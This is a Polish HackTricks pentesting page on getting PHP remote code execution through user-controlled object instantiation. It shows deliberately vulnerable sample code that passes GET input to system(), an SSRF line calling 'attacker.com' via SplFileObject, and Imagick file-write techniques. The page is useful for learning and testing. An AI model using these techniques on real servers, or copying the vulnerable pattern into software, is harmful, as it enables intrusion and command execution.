hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
2024-02-11 01:46:25 +00:00

6.9 KiB

PHP - RCE wykorzystujące tworzenie obiektów: new $_GET["a"]($_GET["b"])

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

To jest w zasadzie podsumowanie https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Wprowadzenie

Tworzenie nowych dowolnych obiektów, takich jak new $_GET["a"]($_GET["a"]), może prowadzić do wykonania zdalnego kodu (RCE), jak szczegółowo opisano w artykule. Ten dokument przedstawia różne strategie osiągania RCE.

RCE za pomocą niestandardowych klas lub autoloadingu

Składnia new $a($b) jest używana do tworzenia obiektu, gdzie $a reprezentuje nazwę klasy, a $b jest pierwszym argumentem przekazywanym do konstruktora. Te zmienne mogą pochodzić z danych wprowadzanych przez użytkownika, takich jak GET/POST, gdzie mogą być ciągami znaków lub tablicami, lub z JSON, gdzie mogą być innymi typami.

Przykład kodu poniżej:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

W tym przypadku ustawienie $a na App lub App2 oraz $b na polecenie systemowe (np. uname -a) powoduje wykonanie tego polecenia.

Funkcje Autoloading mogą być wykorzystane, jeśli nie ma bezpośredniego dostępu do takich klas. Te funkcje automatycznie wczytują klasy z plików, gdy są potrzebne i są definiowane za pomocą spl_autoload_register lub __autoload:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Zachowanie autoloadingu różni się w zależności od wersji PHP, oferując różne możliwości RCE.

RCE za pomocą wbudowanych klas

Brak własnych klas lub autoloadersów może wystarczyć do RCE za pomocą wbudowanych klas PHP. Liczba tych klas waha się od 100 do 200, w zależności od wersji PHP i rozszerzeń. Mogą być one wymienione za pomocą get_declared_classes().

Konstruktory, które nas interesują, można zidentyfikować za pomocą interfejsu refleksji, jak pokazano w poniższym przykładzie i na stronie https://3v4l.org/2JEGF.

RCE za pomocą konkretnych metod obejmuje:

SSRF + deserializacja Phar

Klasa SplFileObject umożliwia SSRF za pomocą swojego konstruktora, pozwalając na połączenia do dowolnego adresu URL:

new SplFileObject('http://attacker.com/');

SSRF może prowadzić do ataków deserializacji w wersjach PHP przed 8.0, korzystając z protokołu Phar.

Wykorzystywanie PDOs

Konstruktor klasy PDO umożliwia połączenia z bazami danych za pomocą ciągów DSN, co potencjalnie umożliwia tworzenie plików lub inne interakcje:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Wersje PHP do 5.3.22 i 5.4.12 były podatne na ataki XXE poprzez konstruktory SoapClient i SimpleXMLElement, w zależności od wersji libxml2.

RCE za pomocą rozszerzenia Imagick

Podczas analizy zależności projektu odkryto, że Imagick może być wykorzystany do wykonywania poleceń poprzez tworzenie nowych obiektów. Daje to możliwość wykorzystania podatności.

Analizator VID

Zidentyfikowano możliwość analizatora VID do zapisywania zawartości w określonej ścieżce w systemie plików. Może to prowadzić do umieszczenia powłoki PHP w katalogu dostępnym przez sieć, co umożliwia zdalne wykonanie kodu (RCE).

Analizator VID + Przesyłanie plików

Zauważono, że PHP tymczasowo przechowuje przesłane pliki w /tmp/phpXXXXXX. Analizator VID w Imagick, wykorzystujący protokół msl, może obsługiwać symbole wieloznaczne w ścieżkach plików, ułatwiając przeniesienie tymczasowego pliku do wybranej lokalizacji. Ta metoda oferuje dodatkowe podejście do osiągnięcia dowolnego zapisu plików w systemie plików.

PHP Crash + Brute Force

Metoda opisana w oryginalnym opracowaniu polega na przesyłaniu plików, które powodują awarię serwera przed usunięciem. Poprzez brutalne próbowanie nazwy tymczasowego pliku, możliwe staje się wykonanie dowolnego kodu PHP przez Imagick. Jednak ta technika okazała się skuteczna tylko w przestarzałej wersji ImageMagick.

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: